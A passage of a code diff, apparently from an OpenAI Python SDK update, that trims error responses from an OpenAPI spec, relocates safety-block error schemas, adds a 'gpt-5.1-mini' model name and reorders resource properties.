- '400':
- description: The request is invalid or the required ChatKit beta header is missing or invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The session was not found or is not accessible.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: The request rate limit has been exceeded.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: chatkit
beta: true
@@ -29171,24 +24830,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ChatSessionResource'
- '400':
- description: The request is invalid or the required ChatKit beta header is missing or invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The requested workflow or workflow version was not found or is not accessible.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: The request rate limit has been exceeded.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: chatkit
beta: true
@@ -29352,24 +24993,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ThreadItemListResource'
- '400':
- description: The request is invalid or the required ChatKit beta header is missing or invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The thread was not found or is not accessible.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: The request rate limit has been exceeded.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: chatkit
beta: true
@@ -29498,24 +25121,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ThreadResource'
- '400':
- description: The request is invalid or the required ChatKit beta header is missing or invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The thread was not found or is not accessible.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: The request rate limit has been exceeded.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: chatkit
beta: true
@@ -29638,24 +25243,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeletedThreadResource'
- '400':
- description: The request is invalid or the required ChatKit beta header is missing or invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The thread was not found or is not accessible.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: The request rate limit has been exceeded.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
beta: true
examples:
@@ -29772,24 +25359,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ThreadListResource'
- '400':
- description: The request is invalid or the required ChatKit beta header is missing or invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The thread specified by after was not found or is not accessible.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '429':
- description: The request rate limit has been exceeded.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
group: chatkit
beta: true
@@ -29913,12 +25482,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- '403':
- description: The API key lacks the required permission.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse-2'
'404':
description: The requested session or event was not found.
content:
@@ -30013,12 +25576,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- '403':
- description: The API key lacks the required permission.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse-2'
'404':
description: The requested session or event was not found.
content:
@@ -30082,12 +25639,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- '403':
- description: The API key lacks the required permission.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse-2'
'404':
description: The requested session or event was not found.
content:
@@ -30750,12 +26301,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- '403':
- description: The API key lacks the required permission.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse-2'
'404':
description: The requested session or event was not found.
content:
@@ -30810,12 +26355,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- '403':
- description: The API key lacks the required permission.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse-2'
'404':
description: The requested session or event was not found.
content:
@@ -30875,12 +26414,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- '403':
- description: The API key lacks the required permission.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse-2'
'404':
description: The requested session or event was not found.
content:
@@ -30944,12 +26477,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- '403':
- description: The API key lacks the required permission.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse-2'
'404':
description: The requested session or event was not found.
content:
@@ -31008,12 +26535,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- '403':
- description: The API key lacks the required permission.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse-2'
'404':
description: The requested session or event was not found.
content:
@@ -32330,12 +27851,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- '403':
- description: The API key lacks the required permission.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse-2'
'404':
description: The requested session or event was not found.
content:
@@ -32403,12 +27918,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/ErrorResponse-2'
- '403':
- description: The API key lacks the required permission.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse-2'
'404':
description: The requested session or event was not found.
content:
@@ -33129,18 +28638,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/WebhookEndpointListResource'
- '400':
- description: The request parameters are invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The pagination cursor does not identify a webhook endpoint in the authenticated project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
beta: true
post:
@@ -33160,12 +28657,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/WebhookEndpointWithSecretResource'
- '400':
- description: The webhook endpoint parameters are invalid or the endpoint cannot be created with the requested URL or event types.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
beta: true
/webhook_endpoints/{webhook_endpoint_id}:
@@ -33188,18 +28679,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/WebhookEndpointBody'
- '400':
- description: The request parameters are invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The webhook endpoint was not found in the authenticated project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
beta: true
post:
@@ -33226,18 +28705,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/WebhookEndpointBody'
- '400':
- description: The webhook endpoint parameters are invalid or the requested URL or event types are not permitted.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The webhook endpoint was not found in the authenticated project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
beta: true
delete:
@@ -33259,18 +28726,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/DeletedWebhookEndpointResource'
- '400':
- description: The request parameters are invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The webhook endpoint was not found in the authenticated project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
beta: true
/webhook_endpoints/{webhook_endpoint_id}/rotate_secret:
@@ -33298,18 +28753,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/WebhookEndpointWithSecretResource'
- '400':
- description: The request parameters are invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The webhook endpoint was not found in the authenticated project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
beta: true
/webhook_endpoints/{webhook_endpoint_id}/test:
@@ -33337,24 +28780,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/WebhookEndpointTestResultResource'
- '400':
- description: The request parameters are invalid.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '404':
- description: The webhook endpoint was not found in the authenticated project.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
- '500':
- description: The sample event could not be sent to the webhook endpoint.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
beta: true
/webhook_event_types:
@@ -33370,18 +28795,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/WebhookEventTypeListResource'
- '401':
- description: The request does not contain authentication credentials.
- headers:
- WWW-Authenticate:
- description: The bearer authentication challenge returned by the service.
- schema:
- type: string
- example: Bearer realm="OpenAI API"
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/ErrorResponse'
x-oaiMeta:
beta: true
/responses?beta=true:
@@ -33414,18 +28827,6 @@ paths:
text/event-stream:
schema:
$ref: '#/components/schemas/BetaResponseStreamEvent'
- '400':
- description: Invalid response request or incompatible request parameters.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/BetaErrorResponse'
- '404':
- description: The requested model or a referenced resource was not found or is unavailable to this caller.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/BetaErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
'503':
@@ -34695,12 +30096,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/BetaResponse'
- '404':
- description: The response was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/BetaErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -34818,7 +30213,7 @@ paths:
content:
application/json:
schema:
- $ref: '#/components/schemas/BetaErrorResponse'
+ $ref: '#/components/schemas/BetaError'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -34890,7 +30285,7 @@ paths:
content:
application/json:
schema:
- $ref: '#/components/schemas/BetaErrorResponse'
+ $ref: '#/components/schemas/BetaError'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -34998,12 +30393,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/BetaCompactResource'
- '400':
- description: Invalid compaction request or incompatible input parameters.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/BetaErrorResponse'
'429':
$ref: '#/components/responses/InferenceRateLimited'
'503':
@@ -35209,12 +30598,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/BetaResponseItemList'
- '404':
- description: The response or the item specified by `after` was not found.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/BetaErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -35293,12 +30676,6 @@ paths:
application/json:
schema:
$ref: '#/components/schemas/BetaTokenCountsResource'
- '400':
- description: The request to count input tokens is invalid or contains incompatible parameters.
- content:
- application/json:
- schema:
- $ref: '#/components/schemas/BetaErrorResponse'
'429':
$ref: '#/components/responses/TooManyRequests'
x-oaiMeta:
@@ -71353,36 +66730,6 @@ components:
"type": "safety.warning_issued",
"data": {"id": "C-abc123"}
}
- _MisalignmentErrorType:
- anyOf:
- - type: string
- - type: string
- enum:
- - potentially_unintended_data_transfer
- - potentially_unintended_data_access
- - potentially_unintended_destructive_activity
- - other
- _MisalignmentSteer:
- properties:
- message:
- type: string
- description: The public continuation instruction.
- type: object
- required:
- - message
- MisalignmentErrorDetailsResource:
- properties:
- error_type:
- $ref: '#/components/schemas/_MisalignmentErrorType'
- description: An optional classification; clients must accept additional values.
- detailed_explanation:
- type: string
- description: The public explanation for this block.
- steer:
- $ref: '#/components/schemas/_MisalignmentSteer'
- description: An optional public continuation instruction.
- type: object
- required: []
ModerationInputType:
type: string
enum:
@@ -74859,6 +70206,36 @@ components:
- object
- metadata
- created_at
+ _MisalignmentErrorType:
+ anyOf:
+ - type: string
+ - type: string
+ enum:
+ - potentially_unintended_data_transfer
+ - potentially_unintended_data_access
+ - potentially_unintended_destructive_activity
+ - other
+ _MisalignmentSteer:
+ properties:
+ message:
+ type: string
+ description: The public continuation instruction.
+ type: object
+ required:
+ - message
+ MisalignmentErrorDetailsResource:
+ properties:
+ error_type:
+ $ref: '#/components/schemas/_MisalignmentErrorType'
+ description: An optional classification; clients must accept additional values.
+ detailed_explanation:
+ type: string
+ description: The public explanation for this block.
+ steer:
+ $ref: '#/components/schemas/_MisalignmentSteer'
+ description: An optional public continuation instruction.
+ type: object
+ required: []
ImageGenOutputTokensDetails:
properties:
image_tokens:
@@ -85132,6 +80509,7 @@ components:
- $ref: '#/components/schemas/ReasoningEffortParam'
- type: 'null'
description: Omit to keep the current effort. Null selects the model's default effort.
+ x-openai-go-optional-enum: true
additionalProperties: false
description: Reasoning effort for subsequent turns. The reasoning summary stays unchanged.
UpdateSessionAgentParam:
@@ -85150,6 +80528,7 @@ components:
- $ref: '#/components/schemas/ServiceTierParam'
- type: 'null'
description: Omit to keep the current tier. Null resets it to auto.
+ x-openai-go-optional-enum: true
additionalProperties: false
description: Model settings that can change after session creation.
UpdateAgentSessionParams:
@@ -93762,13 +89141,6 @@ components:
anyOf:
- type: string
- $ref: '#/components/schemas/ChatModel'
- BetaErrorResponse:
- type: object
- properties:
- error:
- $ref: '#/components/schemas/BetaError'
- required:
- - error
BetaError:
type: object
properties:
@@ -101021,6 +96393,7 @@ components:
- gpt-5.1
- gpt-5.1-2025-11-13
- gpt-5.1-codex
+ - gpt-5.1-mini
- gpt-5.1-chat-latest
- gpt-5
- gpt-5-mini
diff --git a/src/openai/resources/admin/organization/__init__.py b/src/openai/resources/admin/organization/__init__.py
index e402b55d71..d1036e4846 100644
--- a/src/openai/resources/admin/organization/__init__.py
+++ b/src/openai/resources/admin/organization/__init__.py
@@ -118,12 +118,6 @@
else:
_EXPORTS = {
- "ExternalStorage": (".external_storage", "ExternalStorage"),
- "AsyncExternalStorage": (".external_storage", "AsyncExternalStorage"),
- "ExternalStorageWithRawResponse": (".external_storage", "ExternalStorageWithRawResponse"),
- "AsyncExternalStorageWithRawResponse": (".external_storage", "AsyncExternalStorageWithRawResponse"),
- "ExternalStorageWithStreamingResponse": (".external_storage", "ExternalStorageWithStreamingResponse"),
- "AsyncExternalStorageWithStreamingResponse": (".external_storage", "AsyncExternalStorageWithStreamingResponse"),
"AuditLogs": (".audit_logs", "AuditLogs"),
"AsyncAuditLogs": (".audit_logs", "AsyncAuditLogs"),
"AuditLogsWithRawResponse": (".audit_logs", "AuditLogsWithRawResponse"),
@@ -172,6 +166,12 @@
"AsyncDataRetentionWithRawResponse": (".data_retention", "AsyncDataRetentionWithRawResponse"),
"DataRetentionWithStreamingResponse": (".data_retention", "DataRetentionWithStreamingResponse"),
"AsyncDataRetentionWithStreamingResponse": (".data_retention", "AsyncDataRetentionWithStreamingResponse"),
+ "ExternalStorage": (".external_storage", "ExternalStorage"),
+ "AsyncExternalStorage": (".external_storage", "AsyncExternalStorage"),
+ "ExternalStorageWithRawResponse": (".external_storage", "ExternalStorageWithRawResponse"),
+ "AsyncExternalStorageWithRawResponse": (".external_storage", "AsyncExternalStorageWithRawResponse"),
+ "ExternalStorageWithStreamingResponse": (".external_storage", "ExternalStorageWithStreamingResponse"),
+ "AsyncExternalStorageWithStreamingResponse": (".external_storage", "AsyncExternalStorageWithStreamingResponse"),
"SpendLimit": (".spend_limit", "SpendLimit"),
"AsyncSpendLimit": (".spend_limit", "AsyncSpendLimit"),
"SpendLimitWithRawResponse": (".spend_limit", "SpendLimitWithRawResponse"),
@@ -238,12 +238,6 @@ def __dir__() -> list[str]:
__all__ = [
- "ExternalStorage",
- "AsyncExternalStorage",
- "ExternalStorageWithRawResponse",
- "AsyncExternalStorageWithRawResponse",
- "ExternalStorageWithStreamingResponse",
- "AsyncExternalStorageWithStreamingResponse",
"AuditLogs",
"AsyncAuditLogs",
"AuditLogsWithRawResponse",
@@ -292,6 +286,12 @@ def __dir__() -> list[str]:
"AsyncDataRetentionWithRawResponse",
"DataRetentionWithStreamingResponse",
"AsyncDataRetentionWithStreamingResponse",
+ "ExternalStorage",
+ "AsyncExternalStorage",
+ "ExternalStorageWithRawResponse",
+ "AsyncExternalStorageWithRawResponse",
+ "ExternalStorageWithStreamingResponse",
+ "AsyncExternalStorageWithStreamingResponse",
"SpendLimit",
"AsyncSpendLimit",
"SpendLimitWithRawResponse",
diff --git a/src/openai/resources/admin/organization/external_storage.py b/src/openai/resources/admin/organization/external_storage.py
index 27bd026a59..20fc34aa5d 100644
--- a/src/openai/resources/admin/organization/external_storage.py
+++ b/src/openai/resources/admin/organization/external_storage.py
@@ -190,8 +190,12 @@ def delete(
extra_body: Body | None = None,
timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ExternalStorageDeleted:
- """
- Soft-delete one customer-managed external storage configuration.
+ """Disconnect a customer-managed external storage configuration.
+
+ Removing the
+ project's last configuration restores organization-default retention if
+ customer-managed retention was active. Repeating a deletion also completes any
+ interrupted retention update. Cloud storage is unchanged.
Args:
extra_headers: Send extra headers
@@ -427,8 +431,12 @@ async def delete(
extra_body: Body | None = None,
timeout: float | httpx2.Timeout | None | NotGiven = not_given,
) -> ExternalStorageDeleted:
- """
- Soft-delete one customer-managed external storage configuration.
+ """Disconnect a customer-managed external storage configuration.
+
+ Removing the
+ project's last configuration restores organization-default retention if
+ customer-managed retention was active. Repeating a deletion also completes any
+ interrupted retention update. Cloud storage is unchanged.
Args:
extra_headers: Send extra headers
diff --git a/src/openai/resources/admin/organization/organization.py b/src/openai/resources/admin/organization/organization.py
index 0f2bf69fb3..f9d95942bd 100644
--- a/src/openai/resources/admin/organization/organization.py
+++ b/src/openai/resources/admin/organization/organization.py
@@ -113,10 +113,6 @@
class Organization(SyncAPIResource):
- @cached_property
- def external_storage(self) -> ExternalStorage:
- return ExternalStorage(self._client)
-
@cached_property
def audit_logs(self) -> AuditLogs:
"""List user actions and configuration changes within this organization."""
@@ -150,6 +146,10 @@ def roles(self) -> Roles:
def data_retention(self) -> DataRetention:
return DataRetention(self._client)
+ @cached_property
+ def external_storage(self) -> ExternalStorage:
+ return ExternalStorage(self._client)
+
@cached_property
def spend_limit(self) -> SpendLimit:
return SpendLimit(self._client)
@@ -187,10 +187,6 @@ def with_streaming_response(self) -> OrganizationWithStreamingResponse:
class AsyncOrganization(AsyncAPIResource):
- @cached_property
- def external_storage(self) -> AsyncExternalStorage:
- return AsyncExternalStorage(self._client)
-
@cached_property
def audit_logs(self) -> AsyncAuditLogs:
"""List user actions and configuration changes within this organization."""
@@ -224,6 +220,10 @@ def roles(self) -> AsyncRoles:
def data_retention(self) -> AsyncDataRetention:
return AsyncDataRetention(self._client)
+ @cached_property
+ def external_storage(self) -> AsyncExternalStorage:
+ return AsyncExternalStorage(self._client)
+
@cached_property
def spend_limit(self) -> AsyncSpendLimit:
return AsyncSpendLimit(self._client)
@@ -264,10 +264,6 @@ class OrganizationWithRawResponse:
def __init__(self, organization: Organization) -> None:
self._organization = organization
- @cached_property
- def external_storage(self) -> ExternalStorageWithRawResponse:
- return ExternalStorageWithRawResponse(self._organization.external_storage)
-
@cached_property
def audit_logs(self) -> AuditLogsWithRawResponse:
"""List user actions and configuration changes within this organization."""
@@ -301,6 +297,10 @@ def roles(self) -> RolesWithRawResponse:
def data_retention(self) -> DataRetentionWithRawResponse:
return DataRetentionWithRawResponse(self._organization.data_retention)
+ @cached_property
+ def external_storage(self) -> ExternalStorageWithRawResponse:
+ return ExternalStorageWithRawResponse(self._organization.external_storage)
+
@cached_property
def spend_limit(self) -> SpendLimitWithRawResponse:
return SpendLimitWithRawResponse(self._organization.spend_limit)
@@ -322,10 +322,6 @@ class AsyncOrganizationWithRawResponse:
def __init__(self, organization: AsyncOrganization) -> None:
self._organization = organization
- @cached_property
- def external_storage(self) -> AsyncExternalStorageWithRawResponse:
- return AsyncExternalStorageWithRawResponse(self._organization.external_storage)
-
@cached_property
def audit_logs(self) -> AsyncAuditLogsWithRawResponse:
"""List user actions and configuration changes within this organization."""
@@ -359,6 +355,10 @@ def roles(self) -> AsyncRolesWithRawResponse:
def data_retention(self) -> AsyncDataRetentionWithRawResponse:
return AsyncDataRetentionWithRawResponse(self._organization.data_retention)
+ @cached_property
+ def external_storage(self) -> AsyncExternalStorageWithRawResponse:
+ return AsyncExternalStorageWithRawResponse(self._organization.external_storage)
+
@cached_property
def spend_limit(self) -> AsyncSpendLimitWithRawResponse:
return AsyncSpendLimitWithRawResponse(self._organization.spend_limit)
@@ -380,10 +380,6 @@ class OrganizationWithStreamingResponse:
def __init__(self, organization: Organization) -> None:
self._organization = organization
- @cached_property
- def external_storage(self) -> ExternalStorageWithStreamingResponse:
- return ExternalStorageWithStreamingResponse(self._organization.external_storage)
-
@cached_property
def audit_logs(self) -> AuditLogsWithStreamingResponse:
"""List user actions and configuration changes within this organization."""
@@ -417,6 +413,10 @@ def roles(self) -> RolesWithStreamingResponse:
def data_retention(self) -> DataRetentionWithStreamingResponse:
return DataRetentionWithStreamingResponse(self._organization.data_retention)
+ @cached_property
+ def external_storage(self) -> ExternalStorageWithStreamingResponse:
+ return ExternalStorageWithStreamingResponse(self._organization.external_storage)
+
@cached_property
def spend_limit(self) -> SpendLimitWithStreamingResponse:
return SpendLimitWithStreamingResponse(self._organization.spend_limit)
@@ -438,10 +438,6 @@ class AsyncOrganizationWithStreamingResponse:
def __init__(self, organization: AsyncOrganization) -> None:
self._organization = organization
- @cached_property
- def external_storage(self) -> AsyncExternalStorageWithStreamingResponse:
- return AsyncExternalStorageWithStreamingResponse(self._organization.external_storage)
-
@cached_property
def audit_logs(self) -> AsyncAuditLogsWithStreamingResponse:
"""List user actions and configuration changes within this organization."""
@@ -475,6 +471,10 @@ def roles(self) -> AsyncRolesWithStreamingResponse:
def data_retention(self) -> AsyncDataRetentionWithStreamingResponse:
return AsyncDataRetentionWithStreamingResponse(self._organization.data_retention)
+ @cached_property
+ def external_storage(self) -> AsyncExternalStorageWithStreamingResponse:
+ return AsyncExternalStorageWithStreamingResponse(self._organization.external_storage)
+
@cached_property
def spend_limit(self) -> AsyncSpendLimitWithStreamingResponse:
return AsyncSpendLimitWithStreamingResponse(self._organization.spend_limit)
diff --git a/src/openai/resources/beta/responses/responses.py b/src/openai/resources/beta/responses/responses.py
index fd12ce08fa..c37f90f518 100644
--- a/src/openai/resources/beta/responses/responses.py
+++ b/src/openai/resources/beta/responses/responses.py
@@ -143,6 +143,7 @@ def create(
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
+ "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -546,6 +547,7 @@ def create(
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
+ "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -948,6 +950,7 @@ def create(
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
+ "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -1348,6 +1351,7 @@ def create(
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
+ "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -1831,6 +1835,7 @@ def compact(
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
+ "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -2125,6 +2130,7 @@ async def create(
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
+ "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -2528,6 +2534,7 @@ async def create(
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
+ "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -2930,6 +2937,7 @@ async def create(
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
+ "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -3330,6 +3338,7 @@ async def create(
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
+ "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -3813,6 +3822,7 @@ async def compact(
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
+ "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -5187,6 +5197,7 @@ def create(
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
+ "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -5437,6 +5448,7 @@ async def create(
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
+ "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
diff --git a/src/openai/resources/responses/responses.py b/src/openai/resources/responses/responses.py
index 24218e232f..8125b9de1a 100644
--- a/src/openai/resources/responses/responses.py
+++ b/src/openai/resources/responses/responses.py
@@ -1767,6 +1767,7 @@ def compact(
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
+ "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
@@ -3653,6 +3654,7 @@ async def compact(
"gpt-5.1",
"gpt-5.1-2025-11-13",
"gpt-5.1-codex",
+ "gpt-5.1-mini",
"gpt-5.1-chat-latest",
"gpt-5",
"gpt-5-mini",
diff --git a/src/openai/resources/safety/__init__.py b/src/openai/resources/safety/__init__.py
index 57d50e6bc3..c25334f1b4 100644
--- a/src/openai/resources/safety/__init__.py
+++ b/src/openai/resources/safety/__init__.py
@@ -30,18 +30,18 @@
else:
_EXPORTS = {
- "Alerts": (".alerts", "Alerts"),
- "AsyncAlerts": (".alerts", "AsyncAlerts"),
- "AlertsWithRawResponse": (".alerts", "AlertsWithRawResponse"),
- "AsyncAlertsWithRawResponse": (".alerts", "AsyncAlertsWithRawResponse"),
- "AlertsWithStreamingResponse": (".alerts", "AlertsWithStreamingResponse"),
- "AsyncAlertsWithStreamingResponse": (".alerts", "AsyncAlertsWithStreamingResponse"),
"Cases": (".cases", "Cases"),
"AsyncCases": (".cases", "AsyncCases"),
"CasesWithRawResponse": (".cases", "CasesWithRawResponse"),
"AsyncCasesWithRawResponse": (".cases", "AsyncCasesWithRawResponse"),
"CasesWithStreamingResponse": (".cases", "CasesWithStreamingResponse"),
"AsyncCasesWithStreamingResponse": (".cases", "AsyncCasesWithStreamingResponse"),
+ "Alerts": (".alerts", "Alerts"),
+ "AsyncAlerts": (".alerts", "AsyncAlerts"),
+ "AlertsWithRawResponse": (".alerts", "AlertsWithRawResponse"),
+ "AsyncAlertsWithRawResponse": (".alerts", "AsyncAlertsWithRawResponse"),
+ "AlertsWithStreamingResponse": (".alerts", "AlertsWithStreamingResponse"),
+ "AsyncAlertsWithStreamingResponse": (".alerts", "AsyncAlertsWithStreamingResponse"),
"Safety": (".safety", "Safety"),
"AsyncSafety": (".safety", "AsyncSafety"),
"SafetyWithRawResponse": (".safety", "SafetyWithRawResponse"),
@@ -73,18 +73,18 @@ def __dir__() -> list[str]:
__all__ = [
- "Alerts",
- "AsyncAlerts",
- "AlertsWithRawResponse",
- "AsyncAlertsWithRawResponse",
- "AlertsWithStreamingResponse",
- "AsyncAlertsWithStreamingResponse",
"Cases",
"AsyncCases",
"CasesWithRawResponse",
"AsyncCasesWithRawResponse",
"CasesWithStreamingResponse",
"AsyncCasesWithStreamingResponse",
+ "Alerts",
+ "AsyncAlerts",
+ "AlertsWithRawResponse",
+ "AsyncAlertsWithRawResponse",
+ "AlertsWithStreamingResponse",
+ "AsyncAlertsWithStreamingResponse",
"Safety",
"AsyncSafety",
"SafetyWithRawResponse",
diff --git a/src/openai/resources/safety/safety.py b/src/openai/resources/safety/safety.py
index 4d80f73eda..ae72977ba4 100644
--- a/src/openai/resources/safety/safety.py
+++ b/src/openai/resources/safety/safety.py
@@ -25,14 +25,14 @@
class Safety(SyncAPIResource):
- @cached_property
- def alerts(self) -> Alerts:
- return Alerts(self._client)
-
@cached_property
def cases(self) -> Cases:
return Cases(self._client)
+ @cached_property
+ def alerts(self) -> Alerts:
+ return Alerts(self._client)
+
@cached_property
def with_raw_response(self) -> SafetyWithRawResponse:
"""
@@ -54,14 +54,14 @@ def with_streaming_response(self) -> SafetyWithStreamingResponse:
class AsyncSafety(AsyncAPIResource):
- @cached_property
- def alerts(self) -> AsyncAlerts:
- return AsyncAlerts(self._client)
-
@cached_property
def cases(self) -> AsyncCases:
return AsyncCases(self._client)
+ @cached_property
+ def alerts(self) -> AsyncAlerts:
+ return AsyncAlerts(self._client)
+
@cached_property
def with_raw_response(self) -> AsyncSafetyWithRawResponse:
"""
@@ -86,49 +86,49 @@ class SafetyWithRawResponse:
def __init__(self, safety: Safety) -> None:
self._safety = safety
- @cached_property
- def alerts(self) -> AlertsWithRawResponse:
- return AlertsWithRawResponse(self._safety.alerts)
-
@cached_property
def cases(self) -> CasesWithRawResponse:
return CasesWithRawResponse(self._safety.cases)
+ @cached_property
